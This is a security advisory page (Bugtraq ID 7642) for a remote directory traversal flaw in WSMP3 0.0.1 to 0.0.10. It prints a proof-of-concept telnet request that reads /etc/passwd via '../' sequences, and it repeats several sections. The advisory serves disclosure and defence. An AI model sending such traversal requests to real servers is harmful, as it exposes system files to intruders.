WSMP3 Remote Information Disclosure Vulnerability
BID:7642
Info
WSMP3 Remote Information Disclosure Vulnerability
| Bugtraq ID: | 7642 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | May 21 2003 12:00AM |
| Updated: | May 21 2003 12:00AM |
| Credit: | The discovery of this vulnerability has been credited to "dong-h0un U" <[email protected]>. |
| Vulnerable: |
WSMP3 WSMP3 0.0.10 WSMP3 WSMP3 0.0.9 WSMP3 WSMP3 0.0.8 WSMP3 WSMP3 0.0.7 WSMP3 WSMP3 0.0.6 WSMP3 WSMP3 0.0.5 WSMP3 WSMP3 0.0.4 WSMP3 WSMP3 0.0.3 WSMP3 WSMP3 0.0.2 WSMP3 WSMP3 0.0.1 |
| Not Vulnerable: | |
Exploit / POC
WSMP3 Remote Information Disclosure Vulnerability
No exploit required. However the following proof of concept GET request has been provided:
bash$ telnet wsmp3.server.com 8000
Trying 61.37.xxx.xx...
Connected to 61.37.xxx.xx.
Escape character is '^]'.
GET /dir/../../../../../../etc/passwd HTTP/1.0
No exploit required. However the following proof of concept GET request has been provided:
bash$ telnet wsmp3.server.com 8000
Trying 61.37.xxx.xx...
Connected to 61.37.xxx.xx.
Escape character is '^]'.
GET /dir/../../../../../../etc/passwd HTTP/1.0
Solution / Fix
WSMP3 Remote Information Disclosure Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
WSMP3 Remote Information Disclosure Vulnerability
References:
References:
- WSMP3 Home Page (WSMP3)
- [INetCop Security Advisory] WsMP3d Directory Traversing Vulnerability. ("dong-h0un U"